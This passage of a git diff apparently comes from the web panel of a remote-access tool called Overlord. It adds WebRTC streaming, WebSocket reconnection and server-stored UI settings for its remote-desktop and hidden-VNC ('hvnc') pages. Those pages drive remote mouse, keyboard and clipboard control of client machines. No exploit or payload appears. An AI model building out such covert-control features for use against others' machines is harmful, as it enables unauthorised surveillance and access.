canvas", err); + setWebrtcViewActive(false); + whepClient = null; + } + } + + async function startP2P() { + await stopAllWebrtc(); + if (!webrtcVideo) return; + p2pClient = new P2PClient({ + videoEl: webrtcVideo, + send: (msg) => { + if (ws && ws.readyState === WebSocket.OPEN) { + ws.send(encodeMsgpack(msg)); + } + }, + onState: (state) => onWebrtcState("WebRTC P2P", state), + }); + try { + await p2pClient.start(); + setWebrtcViewActive(true); + startWebrtcFrameTicker(); + } catch (err) { + console.warn("hvnc webrtc: P2P start failed, falling back to canvas", err); + setWebrtcViewActive(false); + const client = p2pClient; + p2pClient = null; + if (client) { try { await client.stop(); } catch {} } + } + } + + async function stopAllWebrtc() { + stopWebrtcFrameTicker(); + setWebrtcViewActive(false); + const whep = whepClient; + whepClient = null; + if (whep) { try { await whep.stop(); } catch {} } + const p2p = p2pClient; + p2pClient = null; + if (p2p) { try { await p2p.stop(); } catch {} } + } + let monitors = 1; function populateDisplays(count) { @@ -687,6 +864,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (displaySelect.options.length) { displaySelect.value = displaySelect.options[0].value; } + applySavedDisplay(); } async function fetchClientInfo() { @@ -699,6 +877,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } if (client && client.monitors) { populateDisplays(client.monitors); + applySavedDisplay(); } } catch (e) { console.warn("failed to fetch client info", e); @@ -721,16 +900,28 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; sendCmd("hvnc_set_quality", { quality: q, codec }); } + function pushTransportQuality(mode) { + if (mode === "relayed" || mode === "p2p") { + const q = Number(qualitySlider?.value) || 90; + setCodecModeLabel("h264", "webrtc"); + sendCmd("hvnc_set_quality", { quality: q, codec: "h264", source: "webrtc" }); + return; + } + if (qualitySlider) { + pushQuality(qualitySlider.value); + } + } + if (codecH264) { codecH264.addEventListener("change", function () { prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function"; - localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0"); if (!prefersH264) { destroyVideoDecoder(); } if (qualitySlider) { pushQuality(qualitySlider.value); } + sharedSettingsSaver.scheduleSave(); }); } @@ -769,7 +960,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } }, 5000); } else if (h264ErrorCount > 3) { - localStorage.setItem(codecPrefKey, "0"); + sharedSettingsSaver.scheduleSave(); } } @@ -834,29 +1025,39 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10), }); + sharedSettingsSaver.scheduleSave(); }); + if (webrtcMode) { + webrtcMode.addEventListener("change", function () { + updateControls(); + sharedSettingsSaver.scheduleSave(); + }); + } + startBtn.addEventListener("click", function () { + const mode = getWebrtcMode(); if (displaySelect && displaySelect.value !== undefined) { sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0, }); } - if (qualitySlider) { - pushQuality(qualitySlider.value); - } + pushTransportQuality(mode); desiredStreaming = true; lastFrameAt = 0; setStreamState("starting", "Starting stream"); sendCmd("hvnc_start", { autoStartExplorer: false, + webrtc: mode === "relayed", }); + if (mode === "p2p") startP2P(); syncInputEnableState(); }); stopBtn.addEventListener("click", function () { desiredStreaming = false; setStreamState("stopping", "Stopping stream"); sendCmd("hvnc_stop", {}); + stopAllWebrtc(); }); if (killAllBtn) { killAllBtn.addEventListener("click", function () { @@ -874,18 +1075,22 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); mouseCtrl.addEventListener("change", function () { sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked }); + sharedSettingsSaver.scheduleSave(); }); kbdCtrl.addEventListener("change", function () { sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked }); + sharedSettingsSaver.scheduleSave(); }); if (dxgiCtrl) { dxgiCtrl.addEventListener("change", function () { sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked }); + sharedSettingsSaver.scheduleSave(); }); } if (uiaCtrl) { uiaCtrl.addEventListener("change", function () { sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked }); + sharedSettingsSaver.scheduleSave(); }); } @@ -898,6 +1103,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (hvncResolutionSelect) { hvncResolutionSelect.addEventListener("change", function () { pushHvncResolution(); + sharedSettingsSaver.scheduleSave(); }); } @@ -906,6 +1112,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; qualitySlider.addEventListener("input", function () { updateQualityLabel(qualitySlider.value); pushQuality(qualitySlider.value); + sharedSettingsSaver.scheduleSave(); }); } @@ -1036,6 +1243,18 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; handleStatus(msg); return; } + if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") { + startWhep(msg.whepPath); + return; + } + if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") { + if (p2pClient) p2pClient.onAnswer(msg.sdp); + return; + } + if (msg && msg.type === "webrtc_p2p_ice") { + if (p2pClient) p2pClient.onRemoteCandidate(msg); + return; + } if (msg && msg.type === "hvnc_clone_progress") { handleCloneProgress(msg); return; @@ -1083,6 +1302,18 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; handleStatus(msg); return; } + if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") { + startWhep(msg.whepPath); + return; + } + if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") { + if (p2pClient) p2pClient.onAnswer(msg.sdp); + return; + } + if (msg && msg.type === "webrtc_p2p_ice") { + if (p2pClient) p2pClient.onRemoteCandidate(msg); + return; + } if (msg && msg.type === "hvnc_clone_progress") { handleCloneProgress(msg); return; @@ -1122,16 +1353,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; function onWsOpen() { reconnectDelay = 1000; - if (qualitySlider) { - pushQuality(qualitySlider.value); - } + pushTransportQuality(desiredStreaming ? getWebrtcMode() : "off"); clearOfflineTimer(); if (desiredStreaming) { setStreamState("starting", "Resuming stream"); + const mode = getWebrtcMode(); if (displaySelect && displaySelect.value !== undefined) { sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 }); } - sendCmd("hvnc_start", { autoStartExplorer: false }); + sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed" }); + if (mode === "p2p") startP2P(); syncInputEnableState(); } else { setStreamState("idle", "Stopped"); @@ -1149,6 +1380,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; function onWsClose() { destroyVideoDecoder(); + stopAllWebrtc(); if (desiredStreaming) { setStreamState("connecting", "Reconnecting"); scheduleReconnect(); @@ -1159,6 +1391,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; function onWsError() { destroyVideoDecoder(); + stopAllWebrtc(); setStreamState("error", "WebSocket error"); } @@ -1270,6 +1503,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (kbdCtrl.checked) kbdCapture.enable(); else kbdCapture.disable(); }); + if (kbdCtrl.checked) kbdCapture.enable(); } document.addEventListener("fullscreenchange", function () { if (document.fullscreenElement === canvasContainer && kbdCtrl && !kbdCtrl.checked) { @@ -1279,11 +1513,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); function stopOnExit() { + sharedSettingsSaver.saveNow(); if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) { desiredStreaming = false; sendCmd("hvnc_stop", {}); } destroyVideoDecoder(); + stopAllWebrtc(); } window.addEventListener("beforeunload", stopOnExit); @@ -1320,6 +1556,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); } + ["hvncCloneToggle", "hvncCloneLiteToggle", "hvncKillIfRunningToggle"].forEach((id) => { + const el = document.getElementById(id); + if (el) { + el.addEventListener("change", function () { + sharedSettingsSaver.scheduleSave(); + }); + } + }); + if (contextMenu) { contextMenu.querySelectorAll("[data-action]").forEach((item) => { item.addEventListener("click", (e) => { diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 3c3cb06..22b205d 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -3,6 +3,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; import { WhepClient } from "./whep.js"; import { P2PClient } from "./webrtc-p2p.js"; import { createKeyboardCapture } from "./keyboard-capture.js"; +import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js"; (async function () { const clientId = new URLSearchParams(location.search).get("clientId"); @@ -17,13 +18,38 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const clientLabel = document.getElementById("clientLabel"); clientLabel.textContent = clientId; - const ws = new WebSocket( - (location.protocol === "https:" ? "wss://" : "ws://") + + let ws = null; + let reconnectTimer = null; + let reconnectDelay = 1000; + const maxReconnectDelay = 15000; + + function buildWsUrl() { + return (location.protocol === "https:" ? "wss://" : "ws://") + location.host + "/api/clients/" + clientId + - "/rd/ws", - ); + "/rd/ws"; + } + + function connectWs() { + if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; } + ws = new WebSocket(buildWsUrl()); + ws.binaryType = "arraybuffer"; + ws.addEventListener("open", onWsOpen); + ws.addEventListener("message", onWsMessage); + ws.addEventListener("close", onWsClose); + ws.addEventListener("error", onWsError); + } + + function scheduleReconnect() { + if (reconnectTimer) return; + reconnectTimer = setTimeout(() => { + reconnectTimer = null; + setStreamState("connecting", "Reconnecting"); + connectWs(); + reconnectDelay = Math.min(reconnectDelay * 1.5, maxReconnectDelay); + }, reconnectDelay); + } const displaySelect = document.getElementById("displaySelect"); const refreshBtn = document.getElementById("refreshDisplays"); const startBtn = document.getElementById("startBtn"); @@ -62,8 +88,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; function getWebrtcMode() { return webrtcMode ? String(webrtcMode.value || "off") : "off"; } - ws.binaryType = "arraybuffer"; - let activeClientId = clientId; let serverRecording = null; let recordingTimer = null; @@ -86,7 +110,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; let pendingFrame = null; let videoDecoder = null; let h264TimestampUs = 0; - const codecPrefKey = "rdCodecPreferH264"; let prefersH264 = typeof VideoDecoder === "function"; let h264LowFpsStreak = 0; let h264FirstFrameAt = 0; @@ -346,12 +369,72 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; h264LastDecodeWarnAt = 0; } - const storedCodecPref = localStorage.getItem(codecPrefKey); - if (storedCodecPref === "0") { - prefersH264 = false; - } else if (storedCodecPref === "1") { - prefersH264 = typeof VideoDecoder === "function"; + let savedDisplay = null; + + function setSelectValue(select, value) { + if (!select || value === undefined || value === null) return false; + const normalized = String(value); + const exists = Array.from(select.options || []).some((opt) => opt.value === normalized); + if (!exists) return false; + select.value = normalized; + return true; } + + function applySavedDisplay() { + if (savedDisplay === null || savedDisplay === undefined) return; + setSelectValue(displaySelect, savedDisplay); + } + + function applySharedSettings(settings) { + if (!settings || typeof settings !== "object") return; + savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay; + setSelectValue(resolutionSelect, settings.resolution); + setSelectValue(targetFpsSelect, settings.targetFps); + setSelectValue(webrtcMode, settings.webrtcMode); + setSelectValue(audioTransport, settings.audioTransport); + setSelectValue(recordMode, settings.recordMode); + setSelectValue(recordFps, settings.recordFps); + if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality); + if (smoothingSlider && settings.smoothing !== undefined) { + smoothingSlider.value = String(settings.smoothing); + smoothingPct = Number(smoothingSlider.value) || 0; + } + if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse; + if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard; + if (cursorCtrl && typeof settings.cursor === "boolean") cursorCtrl.checked = settings.cursor; + if (duplicationCtrl && typeof settings.duplication === "boolean") duplicationCtrl.checked = settings.duplication; + if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync; + if (audioCtrl && typeof settings.audio === "boolean") audioCtrl.checked = settings.audio; + if (typeof settings.preferH264 === "boolean") { + prefersH264 = settings.preferH264 && typeof VideoDecoder === "function"; + } + applySavedDisplay(); + } + + function readSharedSettings() { + return { + display: Number(displaySelect?.value || 0), + resolution: resolutionSelect?.value || "1080", + targetFps: targetFpsSelect?.value || "120", + quality: Number(qualitySlider?.value || 90), + preferH264: !!prefersH264, + webrtcMode: getWebrtcMode(), + mouse: !!mouseCtrl?.checked, + keyboard: !!kbdCtrl?.checked, + cursor: !!cursorCtrl?.checked, + duplication: !!duplicationCtrl?.checked, + clipboardSync: !!clipboardSyncCtrl?.checked, + audio: !!audioCtrl?.checked, + audioTransport: getAudioTransport(), + smoothing: Number(smoothingSlider?.value || 20), + recordMode: recordMode?.value || "normal", + recordFps: recordFps?.value || "", + }; + } + + applySharedSettings(await loadSharedUiSettings("remote_desktop")); + const sharedSettingsSaver = createSharedUiSettingsSaver("remote_desktop", readSharedSettings); + if (codecH264) { codecH264.checked = prefersH264; codecH264.disabled = typeof VideoDecoder !== "function"; @@ -438,7 +521,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } function updateControls() { - const wsOpen = ws.readyState === WebSocket.OPEN; + const wsOpen = ws && ws.readyState === WebSocket.OPEN; const isStarting = streamState === "starting"; const isStreaming = streamState === "streaming"; const isStopping = streamState === "stopping"; @@ -707,7 +790,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } if (clipboardSyncCtrl) { - clipboardSyncCtrl.addEventListener("change", checkClipboardSync); + clipboardSyncCtrl.addEventListener("change", function () { + checkClipboardSync(); + sharedSettingsSaver.scheduleSave(); + }); } function updateLatency(ms) { @@ -778,18 +864,31 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; desiredStreaming = true; } if (desiredStreaming) { - setStreamState("starting", "Reconnecting"); + const shouldRequestStart = !["starting", "streaming", "stalled"].includes(streamState); + const mode = getWebrtcMode(); + if (shouldRequestStart) { + setStreamState("starting", "Reconnecting"); + } if (displaySelect && displaySelect.value !== undefined) { sendCmd("desktop_select_display", { display: parseInt(displaySelect.value, 10) || 0, }); } - sendCmd("desktop_start", {}); pushInputToggles(); pushCaptureToggles(); if (qualitySlider) pushQuality(qualitySlider.value); pushTargetFps(); pushResolution(); + if (shouldRequestStart) { + if (mode === "relayed") { + sendCmd("desktop_start", { webrtc: true }); + } else if (mode === "p2p") { + sendCmd("desktop_start", {}); + startP2P(); + } else { + sendCmd("desktop_start", {}); + } + } } else { setStreamState("idle", "Stopped"); } @@ -898,10 +997,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; console.warn("No active client selected"); return; } - if (ws.readyState !== WebSocket.OPEN) { + if (!ws || ws.readyState !== WebSocket.OPEN) { rdDebug("send skipped websocket not open", { type, - readyState: ws.readyState, + readyState: ws ? ws.readyState : -1, streamState, desiredStreaming, }); @@ -1049,6 +1148,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (displaySelect.options.length) { displaySelect.value = displaySelect.options[0].value; } + applySavedDisplay(); } async function fetchClientInfo() { @@ -1070,6 +1170,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } if (client) { populateDisplays(client.monitors, client.monitorInfo); + applySavedDisplay(); } if (duplicationCtrl) { const os = (client?.os || "").toLowerCase(); @@ -1121,7 +1222,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; codecH264.addEventListener("change", function () { resetH264SessionState(); prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function"; - localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0"); if (prefersH264) { ensureDuplicationForH264(); } @@ -1132,6 +1232,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (qualitySlider) { pushQuality(qualitySlider.value); } + sharedSettingsSaver.scheduleSave(); }); } @@ -1157,12 +1258,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (resolutionSelect) { resolutionSelect.addEventListener("change", function () { pushResolution(); + sharedSettingsSaver.scheduleSave(); }); } if (targetFpsSelect) { targetFpsSelect.addEventListener("change", function () { pushTargetFps(); + sharedSettingsSaver.scheduleSave(); }); } @@ -1171,11 +1274,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; sendCmd("desktop_select_display", { display: parseInt(displaySelect.value, 10), }); + sharedSettingsSaver.scheduleSave(); }); if (webrtcMode) { webrtcMode.addEventListener("change", function () { updateControls(); + sharedSettingsSaver.scheduleSave(); }); } @@ -1236,6 +1341,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } else { sendCmd("desktop_start", {}); } + if (audioCtrl && audioCtrl.checked) { + connectAudio(); + } }); stopBtn.addEventListener("click", function () { if (isRecording()) stopRecording(); @@ -1251,6 +1359,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; else startRecording(); }); } + if (recordMode) { + recordMode.addEventListener("change", function () { + sharedSettingsSaver.scheduleSave(); + }); + } + if (recordFps) { + recordFps.addEventListener("change", function () { + sharedSettingsSaver.scheduleSave(); + }); + } fullscreenBtn.addEventListener("click", function () { if (canvasContainer.requestFullscreen) { canvasContainer.requestFullscreen(); @@ -1260,16 +1378,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; canvasContainer.mozRequestFullScreen(); } }); - if (mouseCtrl) { - mouseCtrl.checked = false; - } - if (kbdCtrl) { - kbdCtrl.checked = false; - } - if (duplicationCtrl) { - duplicationCtrl.checked = false; - } - function pushInputToggles() { if (mouseCtrl) { sendCmd("desktop_enable_mouse", { enabled: !!mouseCtrl.checked }); @@ -1290,6 +1398,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; mouseCtrl.addEventListener("change", function () { pushInputToggles(); + sharedSettingsSaver.scheduleSave(); }); const kbdCapture = createKeyboardCapture({ container: canvas, @@ -1301,7 +1410,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; if (kbdCtrl.checked) kbdCapture.enable(); else kbdCapture.disable(); pushInputToggles(); + sharedSettingsSaver.scheduleSave(); }); + if (kbdCtrl.checked) kbdCapture.enable(); document.addEventListener("fullscreenchange", function () { if (document.fullscreenElement === canvasContainer && kbdCtrl && !kbdCtrl.checked) { kbdCtrl.checked = true; @@ -1310,10 +1421,12 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); cursorCtrl.addEventListener("change", function () { pushCaptureToggles(); + sharedSettingsSaver.scheduleSave(); }); if (duplicationCtrl) { duplicationCtrl.addEventListener("change", function () { pushCaptureToggles(); + sharedSettingsSaver.scheduleSave(); }); } if (audioCtrl) { @@ -1323,6 +1436,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } else { disconnectAudio(); } + sharedSettingsSaver.scheduleSave(); }); } if (audioTransport) { @@ -1333,6 +1447,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; disconnectAudio(false); connectAudio(); } + sharedSettingsSaver.scheduleSave(); }); } @@ -1341,6 +1456,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; qualitySlider.addEventListener("input", function () { updateQualityLabel(qualitySlider.value); pushQuality(qualitySlider.value); + sharedSettingsSaver.scheduleSave(); }); } @@ -1349,6 +1465,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; smoothingSlider.addEventListener("input", function () { smoothingPct = Number(smoothingSlider.value) || 0; updateSmoothingLabel(smoothingSlider.value); + sharedSettingsSaver.scheduleSave(); }); } @@ -1455,7 +1572,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; prefersH264 = false; destroyVideoDecoder(); if (codecH264) codecH264.checked = false; - localStorage.setItem(codecPrefKey, "0"); + sharedSettingsSaver.scheduleSave(); console.warn("rd: falling back to jpeg codec", reasonText); const q = Number(qualitySlider?.value) || 90; setCodecModeLabel("jpeg", "fallback"); @@ -1732,7 +1849,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); } - ws.addEventListener("message", function (ev) { + function onWsMessage(ev) { if (ev.data instanceof ArrayBuffer) { const buf = new Uint8Array(ev.data); if (isFramePacket(buf)) { @@ -1798,9 +1915,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } return; } - }); + } - ws.addEventListener("open", function () { + function onWsOpen() { + reconnectDelay = 1000; rdDebug("ws open", { url: ws.url, readyState: ws.readyState, @@ -1812,7 +1930,27 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; pushInputToggles(); pushCaptureToggles(); clearOfflineTimer(); - setStreamState("idle", "Stopped"); + if (desiredStreaming) { + setStreamState("starting", "Resuming stream"); + if (displaySelect && displaySelect.value !== undefined) { + sendCmd("desktop_select_display", { + display: parseInt(displaySelect.value, 10) || 0, + }); + } + pushTargetFps(); + pushResolution(); + const mode = getWebrtcMode(); + if (mode === "relayed") { + sendCmd("desktop_start", { webrtc: true }); + } else if (mode === "p2p") { + sendCmd("desktop_start", {}); + startP2P(); + } else { + sendCmd("desktop_start", {}); + } + } else { + setStreamState("idle", "Stopped"); + } sendCmd("desktop_record_status", {}); fetchClientInfo().then(() => { if (displaySelect && displaySelect.value) { @@ -1822,9 +1960,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); } }); - }); + } - ws.addEventListener("close", function (event) { + function onWsClose(event) { rdDebug("ws close", { code: event.code, reason: event.reason, @@ -1832,22 +1970,28 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; streamState, desiredStreaming, }); - desiredStreaming = false; disconnectAudio(); destroyVideoDecoder(); stopAllWebrtc(); - clearRecordingTimer(); - serverRecording = null; - setRecordingUi(false); - setStreamState("disconnected", "Disconnected"); - }); + if (desiredStreaming) { + setStreamState("connecting", "Reconnecting"); + scheduleReconnect(); + } else { + clearRecordingTimer(); + serverRecording = null; + setRecordingUi(false); + setStreamState("disconnected", "Disconnected"); + } + } - ws.addEventListener("error", function (event) { + function onWsError(event) { console.warn("rd: ws error", event); destroyVideoDecoder(); stopAllWebrtc(); setStreamState("error", "WebSocket error"); - }); + } + + connectWs(); if (!frameWatchTimer) { frameWatchTimer = setInterval(() => { @@ -1911,7 +2055,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; } lastMoveSentAt = now; - if (ws.bufferedAmount <= inputBackpressureBytes) { + if (ws && ws.bufferedAmount <= inputBackpressureBytes) { sendCmd("mouse_move", sendPoint); } } @@ -1966,8 +2110,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); function stopOnExit() { + sharedSettingsSaver.saveNow(); if (isRecording()) stopRecording(); - if (ws.readyState === WebSocket.OPEN && desiredStreaming) { + if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) { desiredStreaming = false; sendCmd("desktop_stop", {}); } diff --git a/Overlord-Server/public/assets/shared-ui-settings.js b/Overlord-Server/public/assets/shared-ui-settings.js new file mode 100644 index 0000000..a98e312 --- /dev/null +++ b/Overlord-Server/public/assets/shared-ui-settings.js @@ -0,0 +1,60 @@ +export async function loadSharedUiSettings(scope) { + try { + const res = await fetch(`/api/ui-settings/${encodeURIComponent(scope)}`, { + credentials: "include", + }); + if (!res.ok) return {}; + const data = await res.json().catch(() => ({})); + return data && typeof data.settings === "object" && data.settings ? data.settings : {}; + } catch (err) { + console.warn(`ui-settings: failed to load ${scope}`, err); + return {}; + } +} + +export function createSharedUiSettingsSaver(scope, readSettings, delayMs = 350) { + let timer = null; + let lastPayload = ""; + + async function saveNow() { + if (timer) { + clearTimeout(timer); + timer = null; + } + + let settings = {}; + try { + settings = readSettings() || {}; + } catch (err) { + console.warn(`ui-settings: failed to read ${scope}`, err); + return; + } + + const payload = JSON.stringify(settings); + if (payload === lastPayload) return; + lastPayload = payload; + + try { + const res = await fetch(`/api/ui-settings/${encodeURIComponent(scope)}`, { + method: "PUT", + credentials: "include", + keepalive: true, + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ settings }), + }); + if (!res.ok) { + lastPayload = ""; + } + } catch (err) { + lastPayload = ""; + console.warn(`ui-settings: failed to save ${scope}`, err); + } + } + + function scheduleSave() { + if (timer) clearTimeout(timer); + timer = setTimeout(saveNow, delayMs); + } + + return { scheduleSave, saveNow }; +} diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index c6eb93c..e8df3f3 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -148,6 +148,14 @@ /> 95% +
+ + +
0; } +export interface SharedUiSettingsRecord { + scope: string; + settingsJson: string; + updatedByUserId: number | null; + updatedAt: number; +} + +export function getSharedUiSettings(scope: string): SharedUiSettingsRecord | null { + const row = db + .query( + `SELECT scope, settings_json, updated_by_user_id, updated_at + FROM shared_ui_settings + WHERE scope = ?`, + ) + .get(scope); + + if (!row) return null; + return { + scope: String(row.scope || ""), + settingsJson: String(row.settings_json || "{}"), + updatedByUserId: row.updated_by_user_id == null ? null : Number(row.updated_by_user_id), + updatedAt: Number(row.updated_at) || 0, + }; +} + +export function saveSharedUiSettings( + scope: string, + settingsJson: string, + updatedByUserId: number, +): SharedUiSettingsRecord { + const now = Date.now(); + db.run( + `INSERT INTO shared_ui_settings (scope, settings_json, updated_by_user_id, updated_at) + VALUES (?, ?, ?, ?) + ON CONFLICT(scope) DO UPDATE SET + settings_json = excluded.settings_json, + updated_by_user_id = excluded.updated_by_user_id, + updated_at = excluded.updated_at`, + scope, + settingsJson, + updatedByUserId, + now, + ); + + return { + scope, + settingsJson, + updatedByUserId, + updatedAt: now, + }; +} + export interface SavedScriptRecord { id: string; userId: number; diff --git a/Overlord-Server/src/db/schema.ts b/Overlord-Server/src/db/schema.ts index 44e25b3..085aa4f 100644 --- a/Overlord-Server/src/db/schema.ts +++ b/Overlord-Server/src/db/schema.ts @@ -329,6 +329,15 @@ db.run(` `); db.run(`CREATE INDEX IF NOT EXISTS idx_build_profiles_user_updated ON build_profiles(user_id, updated_at DESC);`); +db.run(` + CREATE TABLE IF NOT EXISTS shared_ui_settings ( + scope TEXT PRIMARY KEY, + settings_json TEXT NOT NULL, + updated_by_user_id INTEGER, + updated_at INTEGER NOT NULL + ); +`); + db.run(` CREATE TABLE IF NOT EXISTS saved_scripts ( id TEXT PRIMARY KEY, diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index a9e1123..3508fac 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -2,12 +2,19 @@ import { authenticateRequest } from "../../auth"; import { AuditAction, getAuditLogs, logAudit } from "../../auditLog"; import { logger } from "../../logger"; import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig, updateInputArchiveConfig } from "../../config"; -import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes, listClients } from "../../db"; +import { + getClientMetricsSummary, + getClientMetricsSummaryForUser, + getDatabaseFileSizeBytes, + getSharedUiSettings, + listClients, + saveSharedUiSettings, +} from "../../db"; import { getThumbnailStats } from "../../thumbnails"; import { getClientCount, getOnlineClients } from "../../clientManager"; import { metrics } from "../../metrics"; import { requirePermission } from "../../rbac"; -import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled } from "../../users"; +import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, canUserAccessFeature, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled, type FeatureName } from "../../users"; import { buildClientGraph } from "../client-graph"; import { runCertbotSetup } from "../certbot-setup"; import { @@ -227,6 +234,76 @@ function summarizeCpuProfile(profile: any, durationMs: number) { }; } +const SHARED_UI_SETTING_FEATURES: Record = { + remote_desktop: "remote_desktop", + hvnc: "hvnc", +}; + +function pickString(value: unknown, allowed: readonly string[]): string | undefined { + if (typeof value !== "string") return undefined; + return allowed.includes(value) ? value : undefined; +} + +function pickBoolean(value: unknown): boolean | undefined { + return typeof value === "boolean" ? value : undefined; +} + +function pickSteppedNumber( + value: unknown, + min: number, + max: number, + step = 1, +): number | undefined { + const parsed = Number(value); + if (!Number.isFinite(parsed)) return undefined; + const clamped = Math.max(min, Math.min(max, Math.round(parsed))); + return Math.round(clamped / step) * step; +} + +function assignIfDefined>( + target: T, + key: string, + value: unknown, +): void { + if (value !== undefined) target[key] = value; +} + +function sanitizeSharedUiSettings(scope: string, raw: unknown): Record { + const input = raw && typeof raw === "object" && !Array.isArray(raw) + ? raw as Record + : {}; + const out: Record = {}; + + assignIfDefined(out, "display", pickSteppedNumber(input.display, 0, 63)); + assignIfDefined(out, "quality", pickSteppedNumber(input.quality, 10, 100, 5)); + assignIfDefined(out, "preferH264", pickBoolean(input.preferH264)); + assignIfDefined(out, "webrtcMode", pickString(input.webrtcMode, ["off", "p2p", "relayed"])); + assignIfDefined(out, "mouse", pickBoolean(input.mouse)); + assignIfDefined(out, "keyboard", pickBoolean(input.keyboard)); + assignIfDefined(out, "clipboardSync", pickBoolean(input.clipboardSync)); + + if (scope === "remote_desktop") { + assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"])); + assignIfDefined(out, "targetFps", pickString(input.targetFps, ["30", "60", "90", "120", "144", "165", "240"])); + assignIfDefined(out, "cursor", pickBoolean(input.cursor)); + assignIfDefined(out, "duplication", pickBoolean(input.duplication)); + assignIfDefined(out, "audio", pickBoolean(input.audio)); + assignIfDefined(out, "audioTransport", pickString(input.audioTransport, ["off", "p2p", "relayed"])); + assignIfDefined(out, "smoothing", pickSteppedNumber(input.smoothing, 0, 80, 5)); + assignIfDefined(out, 